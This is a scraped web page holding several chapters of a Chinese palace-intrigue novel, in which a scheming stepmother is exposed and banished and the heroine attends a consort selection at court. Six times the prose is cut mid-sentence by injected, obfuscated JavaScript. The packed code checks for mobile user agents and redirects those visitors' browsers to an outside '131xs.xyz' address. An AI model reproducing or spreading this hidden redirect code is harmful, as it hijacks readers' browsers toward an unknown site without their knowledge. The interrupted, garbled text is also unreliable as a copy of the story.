l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162029|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>这跟自己锤自己有什么区别? 脑中急转,方氏果断甩锅,“这不是我给苒姐儿送的,这,这是君儿送的,老爷,不信你可以派人到书院把君儿请回来!” 只要君儿回来了,定会替她顶罪。 老爷就只有君儿一个儿子,就算再如何生气,也必然不会重罚。 陆知苒却道:“那日君儿明明说是母亲所赠,还说是母亲想与我和解,又拉不下脸面,这才让他代为跑一趟。我当时听了,心里还颇为感动。而今看来……是我自作多情了。” 方氏狡辩,“不,不是我,我根本不知道此事!是君儿,他定是因为溪儿之事对你心存怨怼,所以才生了歹心。老爷,是我疏于管教,但君儿还小,他也只是一时糊涂,老爷您莫要怪罪他……” 陆贯轩面上神色几番变化,一时没开口,无人知晓他心中究竟在想什么。 紫鹃再次开口,“老爷,此事奴婢知道内情。” 方氏的表情瞬间凝固。 “你个贱婢,敢胡说八道,看我不发卖了你!” 紫鹃却根本不为所动,“夫人,事到如今,您就不要再执迷不悟了,及时回头,方为正理。您得知大小姐即将入宫参加皇子妃候选,又想到二小姐嫁得不如意,心中不平,便生了恶念,欲害大小姐性命。” “这巫蛊娃娃便是您提前埋好的。大小姐对您心怀芥蒂,唯有对大少爷态度温和,是以您便让大少爷亲自去送。” 方氏目眦欲裂,这贱婢,究竟何时被陆知苒收买了?自己竟毫无察觉! “胡说八道!事实根本并非如此!此事我毫不知情,定是君儿暗中所为!” 陆知苒看着方氏,眼底满是失望。 “君儿性情淳善,对我素来敬重,我不相信他会有害人之心。反而是母亲,为何你口口声声都在往君儿头上泼脏水?” “他是父亲唯一的儿子,也是陆家日后的掌舵人,不久之后他就要参加科举,他的名声一旦沾染了瑕疵,未来的前途便将毁于一旦。母亲,您如此行事,可有考虑过这些?” 第174章 陆家的大功臣 陆知苒的话,叫陆贯轩面色彻底沉了下去。 这个毒妇,不仅害他子嗣不丰,便是连她自己儿子的前程也不管不顾。 方氏还欲辩解,陆贯轩高声怒喝,“你给我住嘴!你这毒妇,心肠歹毒,其心可诛!我陆家有你这等毒妇,当真是家门不幸!从今以后,你便到家庙去吧!陆家没有你这样的主母!” 方氏瞬间如遭雷击。 家庙,便是犯了大错的人才会去的地方。 在那里,岂会有好日子过? 方氏膝行至陆贯轩的面前,脸上满是泪痕,“老爷,您不能这样对妾身,妾身为您生儿育女,您不能听信了小人的谗言啊!” “事到如今你还不肯承认?你简直无可救药!” “就算妾身做了错事,就算您不顾念你我夫妻多年,也应当顾念一番君儿啊。” 陆贯轩居高临下地俯视着她,“我便是看在君儿的份儿上,才对你网开一面,不然,我定立马休了你!” 他这番铁石心肠,方氏彻底慌了。 “老爷,若是传出君儿有一个进了家庙的母亲,他日后如何在旁人面前抬起头来?” 陆贯轩眸底多了一丝冷意。 这个名声的确不好听,那就让她病故好了。 病故了,自然就能掩盖一切真相。 陆知苒捕捉到他眼底的那抹杀意,心中泛起一抹淡淡的嘲讽。 当初,他背着母亲与方氏勾勾搭搭,将她捧在了手心上疼宠。 而今,方氏触了他的逆鳞,他也能毫不犹豫地舍弃对方。 至亲至疏夫妻,果然如此。 这世间,当真有真心相爱的夫妻吗?陆知苒心中生出了深深的怀疑。 方氏伸手指向紫鹃,“这些事,都是这贱婢经手的,她也不无辜!老爷既然要把我送去家庙,那便把她也一并送去!” 她便是死,也要拉上这个背主的**当垫背! 紫鹃的神情瑟缩了一下,抬头,楚楚可怜地看着陆贯轩。 “老爷……” 陆贯轩眼底却并无太多柔情。 他会瞧上紫鹃,也是一时兴起,在兴头上时宠幸了几回,但还远没有到动情的地步。 况且,方氏所言也没有错,这些事她都经手了,若不然,她岂会知道得如此清楚? 方氏该死,她也是帮凶。 紫鹃看到陆贯轩眼底的情绪,当即就明白了他的选择。 果然,男人根本靠不住! 幸而,她本也没打算依靠他。 紫鹃跪了下去,“老爷,奴婢的确是夫人的帮凶,奴婢罪该万死!您要打要杀,奴婢都绝无二话!” 她没有死缠烂打,倒是让陆贯轩满意几分。 这时,她忽而以手掩唇,剧烈干呕了起来。 这副模样让陆贯轩微微一愣,紫鹃也露出愣怔之色。 她下意识伸手抚着自己的肚子,又看向陆贯轩,眼神茫然,带着一丝不确定性。 “老爷,奴婢……” 陆贯轩脑中灵光一现,瞬间猜到了某种可能。 难道…… 他立马看向府医,“快,给她诊一诊脉。” 方氏一时愣怔,没有回过神来。 但她到底不傻,联想到方才紫鹃的反应,一个可怕的念头浮上心头。 府医立马躬身上前,给紫鹃诊脉。 只片刻功夫,府医便收回了手,恭敬回话。 “回老爷,她乃是浮脉,已有一个多月的身孕。” 陆贯轩震惊之后,便是狂喜。 “太好了,太好了,我陆贯轩又要添子嗣了,这可真是老天开眼啊!” 紫鹃双眸晶亮地望着陆贯轩,眸底的情谊深浓。 “老爷,妾身何德何能,能怀上您的孩子!这一切简直像是在做梦!” 陆贯轩欢喜得彻底失态,他连忙把紫鹃扶了起来,动作小心翼翼,满是怜惜。 “你是陆家的大功臣!” 时隔多年,他的女人又怀上了孩子。 不管这个孩子究竟是男孩还是女孩,于他而言都意义非凡。 因为这证明了一件事,他并非受了诅咒不能再有子嗣,只要他勤奋耕耘,未来定然还会有很多孩子降生。 方才他还想把紫鹃一并料理了,但此刻,他看着对方的眼神满是怜惜,唯恐她稍有磕碰。 一众姨娘们都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162030|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羡慕又嫉妒地看着紫鹃,同时更有一股深深的失落。 若她们没有被下药,她们定然也早就做了母亲…… 而方氏已经被打击得快要疯魔了。 今夜,紫鹃的接连告发本已是对她的一大背叛,此刻,她怀了陆贯轩孩子的消息一出,更是给方氏带来了沉重一击。 一想到他们竟然在自己的眼皮子底下勾当在了一起,方氏就觉得愤怒又恶心。 “**!你一个寡妇,竟然敢勾当老爷?我以前怎么没看出来你这么**!” 她若是生了儿子,陆家未来的格局说不定就此发生转变,她苦心谋划多年的一切,就会全部化为泡影! 紫鹃害怕地瑟缩着,“老爷,奴婢害怕。” 陆贯轩将紫鹃牢牢护在身后,看向方氏的眼神更加充满厌恶。 “你个毒妇,害我这么多年子嗣艰难,现在紫鹃好不容易怀了我的孩子,你还敢再害了她不成?” 方氏已经有些癫狂,“我为自己孩儿谋划,有什么错?她一个半老徐娘,竟敢勾引老爷,她不是**是什么?就她这个年纪,就算怀上了孩子,也不一定保得住!” 方氏的诅咒让陆贯轩变了脸色,“你,你敢诅咒陆家的子嗣,简直该死!来人,给我把她……” “要把我赐死吗?好啊,你把我赐死,我就变成厉鬼,日日缠着这个背主的小**,让她日日不得安生,我倒是要看看,这样她是否能顺利生下这孩子!” 方氏的癫狂让紫鹃吓得脸色惨白,陆贯轩也微微一震。 神色几番变化,陆贯轩到底压下了心头的杀意。 “连夜把她送去家庙,没有我的吩咐,谁也不许去看她!” 紫鹃闻言,眸底闪过一抹失望与不安。 她彻底背叛了夫人,已然没了半分退路。 只要夫人一日不死,她就一日没法安心。 方氏整个人瘫软成一滩烂泥,被两个婆子合力拖走了。 她目光落在陆知苒的身上,那里面,藏满了不甘与恨意。 等着瞧吧,只要有一口气在,她一定会回来报仇的! 这些人,都该死! 第175章 又在她手底下吃了亏? 陆知苒静静地看着,对于父亲的处置,她并无太多失望。 方氏现在**,对她而言,反而会是一场痛快。 既然她命不该绝,那就做好迎接她下一份大礼的准备吧。 她不仅要方氏死,还要让她身败名裂,被彻底从方家族谱中移除,让她的这一辈子,都成为一场无用的笑话。 一场闹剧落下帷幕,陆贯轩的心头笼上一层阴霾。 目光落在紫鹃的小腹上,他这才稍稍露出几分喜色。 “从今日起,你便是贵妾,就住在静安居,我会安排可靠人手伺候你养胎,你务必要好好保养,不能让孩子有半分闪失。” 紫鹃连忙称是。 她比任何人都珍视这个孩子,这是她的命。 紫鹃在丫鬟的搀扶下离开,与陆知苒错身而过时,二人没有任何眼神交流,就好似先前从无交集。 对于几位姨娘,陆贯轩也只是出声宽慰了一番便再无表示。 哪怕她们是受害者,但此时的她们已经年老色衰,失去了价值,陆贯轩想要子嗣,大可以纳更加年轻,更加好生养的女子。 陆贯轩能做的就是好吃好喝地养着她们,至于其他,再无可能了。 几位姨娘目送着陆贯轩离开,眼神空洞,神色茫然。 原本,她们只以为生不出孩子是自己的缘故,她们能责怪的只有自己。 但现在,得知她们原本有希望成为母亲,却遭人陷害才会如此,她们的心中,便只余满腔难以平复的不甘与恨意。 可她们除了恨,又能做什么呢? 陆知苒看着她们,缓声开口,“明日我会命人给姨娘们送些新料子,你们每日的吃食用度也会多几道菜。另外,每人每月的月银各加二两,从我的私库里出。你们日常用度上,有什么需要的东西,也可到瑶光阁寻我。” 几人闻言,眼底多了些许波澜,但依旧死气沉沉的。 “多谢大小姐。” “我只能在这些小事上帮你们,但要让自己的生活变得有意义,有价值,就得靠你们自己。人生可以有很多选择,端看你们愿不愿意去尝试。” 说完这话,她便转身离开了。 几人面面相觑,心底生出更多茫然。 她们是陆家的姨娘,被困在这小小的四方天地里,能有什么选择呢? 回到瑶光阁,陆知苒躺在床上,却没有什么睡意。 方氏的所作所为,不值得同情。 金嬷嬷入内回禀,“那道士已经送走了,他收了银子,明日一早就会离开京城。” 陆知苒淡淡点头。 他不会乱说话,坏了自己的招牌。 就算当真有人抓了他,陆知苒也不怕。 因为那些事,的的确确是方氏所为,她不过是寻了个道士把这些事顺理成章地揭发罢了。 至于她先前的病,也不过是装的。 她在腋下夹了东西,太医给她诊治时,她时不时夹一夹那东西,脉象便会一变再变,自然叫人捉摸不透,便是连蒋老太医也被自己骗过去了。 方氏被送去家庙的消息被陆家捂得严严实实的,但外人不知,陆映溪却第一时间得知了此事。 她既震惊又愤怒,直接动了胎气。 丫鬟们手忙脚乱,立马就要去给她请大夫。 喝了安胎药,她的脸色这才慢慢好转。 姜星熠早就在外头鬼混了,压根对她和孩子的生死不管不顾。 婆母董氏倒是来了,但张口便是指责。 “你肚子里怀的可是我们姜家的金孙,他若是有个三长两短,我定饶不了你。” 董氏这副刻薄的嘴脸让陆映溪恼恨至极,但想到母亲被送去了家庙,她在娘家已无靠山,她便只能把这口气狠狠咽了下去。 董氏数落了一通,见她难得没有回嘴,便就此作罢。 董氏走后,陆映溪气得想砸东西,但一动怒,腹中便一阵绞痛,她只能深呼吸,把怒火压下。 “去请赵书宁,我要让她来给我诊脉。” 陪嫁丫鬟金桔面露迟疑,“小姐,夫人曾说过,那赵氏不可信任,您……” 陆映溪眼睛狠狠一瞪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162031|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你听她的还是听我的?还不快去!” 金桔一番犹豫,到底不敢违逆,转身去了。 陆映溪何尝不知赵书宁不可尽信?上次之事真相究竟如何,她心底依旧存了疑问。 但跟对陆知苒的恨意相比,赵书宁的那点小心思就根本不值一提了。 只要她们两人都目标一致,她就能摒弃前嫌,再次与赵书宁合作。 更何况,现在的她,也没有了其他更好的选择。 赵书宁得知陆映溪找她,微微挑了挑眉,如约而至。 原本还以为她是得知自己嫁妆被挪用,来寻自己算账的,但到了才发现自己高估她了,她这会儿还被蒙在鼓里。 陆映溪满脸暴躁,一见到赵书宁就开始发疯,“你不是很有能耐吗?怎么还没把陆知苒那**搞死?” 赵书宁不答反问,“怎么,你又在她手底下吃亏了?” 这话像是踩到了她的尾巴,让她脸色立刻阴沉下去。 “我娘亲在她手底下栽了大跟头,被送去家庙了!” 赵书宁眸色微深。 方氏那般精明之人,竟然也那么快被陆知苒击得溃不成军,这个女人,果然不可小觑。 “你想让我帮你除掉她?” 陆映溪看着赵书宁,“什么叫帮我?难道你不恨她?” 赵书宁丝毫不加掩饰,“我自然恨她,但眼下我与她并无直接冲突,我大可不必在她春风得意之时主动凑上去触霉头。” 陆映溪有些急,“你难道要认输?她马上就要参加皇子妃候选,到时候她若被选上,入了某个皇子府,你见了她都得跪拜行礼!你甘心对她俯首称臣?” 最后那话叫赵书宁心底被刺了一下,眸中立马泛出冷意。 对自己的仇人俯首称臣,这简直是莫大的耻辱! “赵医女,你足智多谋,有没有什么好法子,能让她落选?最好是让她身败名裂,无人敢娶!” 赵书宁淡淡道:“敢在宫里动手脚,便是有十个脑袋也不够砍,你想拿我当枪使?想得倒是美。” 第176章 功德无量的大好事 陆映溪满脸急切,“我们有共同的敌人,是一条船上的。我的手伸不进皇宫里,这才不得已求你帮忙。若你能想到好法子,需要我出手的时候,我定义不容辞。” 赵书宁微微垂眸,似在思索。 片刻之后,她缓缓开口,“我倒是有一个法子。” 陆映溪忙问,“什么法子?” 赵书宁将自己的计谋道出,陆映溪眸底晶亮。 “好办法!” 赵书宁幽幽道:“法子再好,没有经手之人,也是白搭。” “你不是经常行走于后宫吗?你大可收买一两个宫女替你办事。” 赵书宁冷笑,“随随便便收买宫女,一旦事发,就要牵扯到我的头上来,你倒是清清白白,完全置身事外。你当我是傻子?” 陆映溪一噎,旋即又有些气恼。 “既如此,你又何必提议此事?” 害她白高兴一场! 赵书宁淡淡看她,“我有一个更加稳妥的人选。” 陆映溪目露怀疑,“谁?” 赵书宁低声说出一个名字,陆映溪眸色微闪。 这的确是一个合适的人选,只是…… “她未必肯答应做这件事。” 赵书宁睨着她,“主意我已经给了,若你连说服她都做不到,那也只能怪你没能力了。” 说完,她便起身离开。 陆映溪在屋中凝眉思索了半晌,终于盘算好,让丫鬟给她更衣,出了门。 回到侯府,赵书宁就在等陆映溪的回信。 凭她对陆映溪的了解,她一定能办成此事。 果然,第二天,陆映溪就派人来给她传话,事情办妥了。 这只是第一步,真正关键的,还得看李贵妃的态度。 若李贵妃有心保陆知苒,她们私底下这些小动作再多也无济于事,甚至还会激怒贵妃。 赵书宁暗暗思忖着该如何给陆知苒上眼药,让李贵妃打消让陆知苒进六皇子府的念头。 她还没想好如何行事,就从李贵妃口中得知,她早就改了主意。 “那**与晏清不是一条心的,若真进了晏清的后院,说不定要闹出多少事端来。与其娶一个祸害回去,不如果断舍弃。” 赵书宁大喜。 如此再好不过,也省了她再白费口舌。 “娘娘,那就这么白白放了她吗?若让她顺利进了七皇子府,也是一大隐患。” 李贵妃眼睛微眯,露出一抹冷笑。 “自然不能白白放过她。” 要促成亲事不容易,但要毁掉她的参选,简直易如反掌。 随随便便给她使个绊子,她就只有领罪受罚的份儿。 赵书宁眸光微动,她主动请缨,“娘娘,臣妇有一个提议,不知是否合适?” 李贵妃掀起眼皮看她,“说。” 赵书宁便将先前的谋划道出,李贵妃思忖片刻,笑了。 “你这法子不错。原本本宫还在想该让谁动手合适,你倒是提本宫把人选问题也解决了。” 赵书宁松了口气,“能为娘娘分忧,是臣妇的荣幸。” 李贵妃笑着赞许,“你很不错,待此事成了,本宫定重重有赏。” 赵书宁连忙谢恩。 原本这场谋划只是她们私底下的小打小闹,现在有了李贵妃的首肯,一切就会顺利许多。 转眼便到了皇子妃选拔之日,春日的皇宫,御花园内百花竟放,姹紫嫣红,甚是好看。 今日,宫中的气氛格外庄重而热闹。御花园的廊檐下,一排排宫灯高挂,红绸飘动,映衬着满园的春色。 来自各家的名门闺秀早已在宫女的引领下,齐聚于御花园的琼华殿前。 她们身着各色华服,或端庄典雅,或娇艳动人,或清丽脱俗,宛如一幅百花争艳的画卷。 每一位女子都精心打扮,眉目间带着几分羞涩与期待,举手投足间尽显大家闺秀的风范。 宫女们穿梭其间,手捧茶点,轻声细语地伺候着这些未来的贵人。 众贵女们三五成群,小声说着话。 陆知苒今日穿了一身淡紫色长裙,裙摆绣着精致的海棠花纹,乌黑的发髻上缀着一支玉簪,显得端庄而不失柔美。一般人站在她面前,都瞬间变得逊色了,是以无人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162032|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主动往她跟前凑。 只有一人例外。 邢初雪目光逡巡一圈,就乐颠颠地往她这边来了。 “平乐县主,你今日好美。” 邢初雪今日穿着淡粉色罗裙,裙摆绣着细密的银线花纹,腰间系着一条浅绿色的丝带,随风轻扬,衬得她身姿窈窕,宛若春日里的一枝新柳。 她脸上挂着烂漫的笑,整个人鲜活而灵动。 陆知苒唇角不觉勾起一抹笑,“你今日也很好看。” 邢初雪直言不讳,“我就来走走过场罢了,定是选不上的。” 姐姐琴棋书画样样精通,性子又沉稳内敛知进退,她性子耿直莽撞,本身也无意入皇子府,就是来凑人头的。 不过,能入宫来见见世面也是好的。 邢初雪小声道:“县主,我表姐已经和离了,还进了锦绣坊,我前几日去看了她,她在那里过得很不错,整个人都焕发了新生。她让我向你转达感激。” 她看着陆知苒的眼神充满真诚的感激。 陆知苒闻言心情也不禁好了几分。 “不必言谢,她才是自己最大的救赎。” 邢初雪摇头,“不是的,如果没有你作表率,她也不敢真正做出和离的决定。如果没有锦绣坊的存在,她更没有脱离夫家的底气。” “所有人都反对她和离,包括我姨夫姨母,他们用断绝关系做威胁,如果不是锦绣坊给她提供了栖身之所,让她能靠自己双手养活自己,她定然也不敢真的和离。” 她忍不住握住了陆知苒的手,双眸亮晶晶的,“县主,你做了一件功德无量的大好事!” 能得到旁人真挚的赞美,是一件令人心情愉悦之事。 陆知苒唇畔笑意愈浓。 她重活一世,到底没有白费。 至少,她尽己所能,帮了她想帮的人。 这时,一道不合时宜的声音传来,打断了二人和谐的氛围。 “哟,这是谁啊,一个和离妇也好意思到这里来丢人现眼。” 陆知苒转头,就见到一个老熟人姜锦年,正用一副鄙夷不屑的目光看着她。 第177章 表妹叶寒衣 邢初雪眉头微皱,语气冷了几分。 “哪来的没教养的东西,皇宫重地,也敢这般放肆无礼?” 姜锦年面色微变。 “邢二小姐,请你对我客气些!” 以往她自是不敢与吏部尚书的千金对上,但现在不同了,她表妹可是六皇子侧妃,今日,她若是表现好的话,说不定也能进六皇子府,胆子自然就大了。 邢初雪冷若冰霜,“有些人不修口德在先,我又何必客气?” 姜锦年丝毫不让,“我说的难道不是事实?她分明就是和离之身!今日宫中是为皇子选妃,谁家姑娘不是冰清玉洁的,偏生混入了她这么一颗老鼠屎。” 邢初雪气得脸色涨红,正要开口,被陆知苒拦住了。 这是她自己的事,没道理她躲在后头,让旁人替她冲锋陷阵。 她迎视着姜锦年,缓缓开口,“前朝西梁时期,才女凤月心精通医术与兵法,嫁将军陈元,助其平定边疆叛乱。陈元战死后,她归隐山林。后被明惠帝召回,嫁丞相李游安。随李游安出征,改革军医制度,还留下了《兵略医方》,影响后世军事与医学。” “前朝薛国女商人江雨君,精通经济与农业。嫁与富商李瑾,协助管理家族生意。李瑾病逝后,她二嫁宰相朱琨顺,协助推行新政,改革税制,推广新农具与种植技术,还著有《农政新书》,影响后世农业政策。” “这些先辈,皆是和离二嫁,她们的功绩谁能否认?二嫁与否,与她们的功绩才能皆不相干,我亦是如此。你因我和离对我出言嘲讽,恰恰显露的是你的浅薄无知。” 陆知苒神色冷然,一番话把姜锦年怼得哑口无言。 原本在一旁看戏的众贵女,也都沉默了。 原本她们都对陆知苒和离之身带着偏见,甚至心生鄙夷,现在听了她这话,她们不禁升起一股深深汗颜。 邢初雪第一个带头鼓掌,高声附和,“说得好!有些人目光短浅,眼界狭隘,还好意思在这里蹦跶,当真是跳梁小丑!” 姜锦年的脸色青白交加,难堪到了极致。 邢初雪紧追不放,“你还不快向县主道歉?” “雪儿,不得无礼!” 邢初樱从人群外走上前,满脸不悦地拉住邢初雪。 姐妹二人的装扮截然不同,与邢初雪的活泼俏丽相比,邢初樱就显得精致庄重许多。 邢初雪被姐姐拉住,还十分不服气。 “无礼的明明是她,我不过是说了句公道话罢了。” 邢初樱恼怒地剜了她一眼,压低声音警告,“在家中时爹娘怎么告诫你的?谨言慎行,不该管的闲事不要管!” “可是……” “没有可是!从现在开始你就跟在我身边,一步都不许离开!” 邢初雪虽然还是不服气,但到底不敢再在这里与长姐争辩,只能老老实实地站着不动了。 她有些歉意地朝陆知苒投去一记眼神,陆知苒笑了笑以作回应。 邢初樱的做法并没有什么问题,这种时候,明哲保身的确是对的。 这时,花园入口处有一行人相携而来,众人的注意力便齐齐转了过去。 是李贵妃、柔妃和其他妃子。 李贵妃身侧有一个年轻女子,她妆容淡雅,远山如眉,眼若秋水,唇上只一抹淡淡的胭脂,身上也穿着素白长裙,整个人看上去清丽脱俗,宛若一朵含苞待放的莲花。 她便是李贵妃的亲侄女,李云裳。 陆知苒的目光却落在了另外一人的身上。 那人跟在柔妃的身侧,她生得十分英气,鼻梁高挺,肤色偏深,身姿挺拔,眉目间自有一股凛然之气。 与一种莺莺燕燕的各色艳丽装扮不同,她穿着一身深蓝色的骑装,乌黑长发高高束起,只以一支玉簪点缀。 她行走间步履稳健,不像是来参加宫妃候选的,反而像是即将出征的女将军。 她的容貌让陆知苒觉得颇为眼熟。 姜锦年方才丢了脸面,心中到底不甘,忍不住再次出言挑衅。 “有些人以为自己与七皇子有些交集,就能当上七皇子妃?哼,七皇子可是有一个嫡亲表妹在,哪里轮得到你?” 陆知苒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162033|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡淡地看了姜锦年一眼,姜锦年被那眼神看得微微一缩,不敢继续挑衅,气哼哼地走了。 原来是他表妹,难怪她看着那么眼熟。 不论是容貌,还是气质,都与他十分相似。 柔妃将她带在身边,看着她的眼神也充满了笑意,对这个侄女显然十分喜爱和看重。 自古表兄表妹,也的确是一段佳话。 陆知苒心境很平和,并无半分波澜。 自古帝王,无不后宫佳丽三千,她一直明白自己想要的是什么,自然不会对这突然冒出来的表妹生出醋意。 就算最后萧晏辞没有履诺,娶她为正妃,她也不会生气。 嫁或不嫁,都不会影响她的功绩,嫁或不嫁,萧晏辞都是她择定的盟友,她会成为他登基的从龙功臣。 叶寒衣察觉到有人一直在看她,眸光一转,便与陆知苒对上了。 叶寒衣看着她,眼神意味不明,陆知苒礼貌地朝她微微颔首,便转开了视线。 她是萧晏辞的表妹,是友非敌,如果可以,她自然愿意与对方交好。 众贵女连忙行礼,皇后没到,李贵妃便是位分最高的,她笑着叫起。 “大家都放松,不必拘礼,就当在自己家中便是。” 话虽如此,谁真的敢当成是自己家? 李贵妃对身旁的李云裳道:“裳儿,你别守在我跟前,与你的同龄小姐们一起玩儿去吧。” 李云裳立马乖巧行礼应是。 柔妃也拍了拍叶寒衣的手,“你也去吧,和大家多认识认识。” 叶寒衣看了一眼打扮得花里胡哨的众姑娘们,眉头不自觉蹙了蹙。 李云裳八面玲珑,交际甚广,很快就有不少小姐簇拥上前,与她热络地攀谈起来。 反观叶寒衣,她的身边就冷清多了。 柔妃的父亲是滇南的异姓王,叶寒衣在她们眼里,算得上是边陲小地来的土鳖。 尤其是她这副装扮和浑身上下那股生人勿近的气场,更令人不敢靠近。 无人打扰,叶寒衣反倒松了口气。 但这口气松得有点早了。 第178章 嘴巴两张皮,翻进又翻出 李云裳迈着婷婷袅袅的步子朝她而来,身后,一群小姐也跟着围了上来。 瞬间,叶寒衣被各种香味袭击了。 “阿嚏!” 她没忍住,打了个喷嚏。 被喷了个正着的李云裳面容有片刻凝滞,旋即很快重新扬起了招牌的恬淡笑容。 “寒衣姐姐,你初来乍到,都还不认识大家吧,我给你介绍一番。” 叶寒衣想说话,张嘴又是一个喷嚏。 “你们身上味儿太浓了,我受不了。” 众人:…… 大家面色几番变化,非常努力才没露出愤怒来。 她们用的可都是上京流行的胭脂水粉,怎么到了她嘴里,好像变成了臭味似的! 这人真的是柔妃娘娘的侄女吗?怎么与柔妃娘娘半点都不像! 李云裳面上的笑容差点维持不住。 果然是边陲之地来的,实在是粗鄙,与七皇子一般无二。 大家无趣地散了,李云裳有些尴尬地站在原地。 好在,叶寒衣没有再打喷嚏。 李云裳也不想自讨没趣,正想找个借口离开,叶寒衣就主动开口,“李小姐,不知平乐县主是哪位?” 李云裳搜寻一圈,朝陆知苒的方向示意。 “那位便是。” 叶寒衣顺着她的方向看去,心中了然。 原来是她。 李云裳试探性地开口,“寒衣姐姐也知道平乐县主?” 叶寒衣点头,“略有耳闻。” 是个经历传奇的女子。 李云裳观察她的面色,一时有些判断不出对方心中想法。 她露出迟疑之色,“有一句话,我不知当讲不当讲。” 叶寒衣看了她一眼,很善解人意地道:“若是不便就算了。” 李云裳被噎了一下,最后还得自己找台阶。 “我还是觉得,此事你应当知晓。” 叶寒衣面露困惑,李云裳压低了声音,“我听说,平乐县主与七皇子交情颇深,此次选妃,七皇子只怕意在平乐县主。” 叶寒衣的语气都拔高了两分,“当真?” 李云裳点头,“此事在京中已经算不得秘密,我自然没必要说谎,也就寒衣姐姐你刚入京没多久,还没听说罢了。” “我的确没听说太多,你能给我多讲讲吗?” 看着她这副急切模样,李云裳便认定了自己的判断。 她虽出身滇南王府,但到底是边陲之地,头一回到京城,见识这里的繁华,定然早就被富贵迷花了眼,怎会甘愿就此回去? 陆知苒与七皇子不清不楚,说不定还要抢了她的正妃之位,她如何会甘心? 这不,一下就现了原形,开始迫不及待地向自己打探消息了。 李云裳好一番春秋笔法,将陆知苒与萧晏辞的关系渲染一番,叶寒衣听得双目圆睁,时不时朝陆知苒的方向看去。 李云裳幽幽叹息,“寒衣姐姐,我知道你心里不好受……” 她的话还没说完,叶寒衣就忽而起身,大步流星地朝陆知苒的方向走去。 李云裳一愣,旋即唇角勾起一抹嘲讽。 蠢货,自己三言两语就把她挑拨得昏了头。 若她和陆知苒当场闹起来,那就有好戏看了。 陆知苒察觉有人撞了她一下,回头,就对上叶寒衣直勾勾的目光。 邢初雪面露担忧,正要上前,就被邢初樱一把拽住了。 “不关你的事,不要管。” 邢初雪挣脱不开,只能干着急。 其余人也看着二人方向,就在大家以为她们要马上打起来的时候,叶寒衣转身,轻飘飘地走了。 走,走了。 众人:…… 就这? 所以她方才是在干啥?溜达一圈,故意**一下,恶狠狠瞪人一眼,就当玩儿? 李云裳的表情也凝固了。 叶寒衣这是在搞什么? 邢初樱这才松开了邢初雪,她快步上前,“县主,你没事吧?” 陆知苒笑着摇了摇头,“我又不是玻璃做的,一碰就碎。” 邢初雪小声嘀咕,“这叶小姐也太吓人了,一副要找你打架的样子。” 陆知苒摸着自己的袖口,唇角勾起一抹意味不明的神色。 “外表看起来温良无害的人,不一定是好人。外表看起来凶神恶煞的,也不一定是坏人。莫要因一件小事就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15162034|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对人妄下定论。” 邢初雪顿时满心羞愧,“是我想当然了。” “你也是关心我,我知道。” 邢初雪有些不好意思地笑了笑。 一道声音突兀地响起,“啊,我的玉佩呢?” 众人的注意力立马被吸引了过去。 姜锦年满脸焦急,“那是我家祖传的玉佩,方才还在的,怎么突然就不见了?” 李云裳上前,“大家伙儿帮忙找找。” 众小姐都低头开始找了起来。 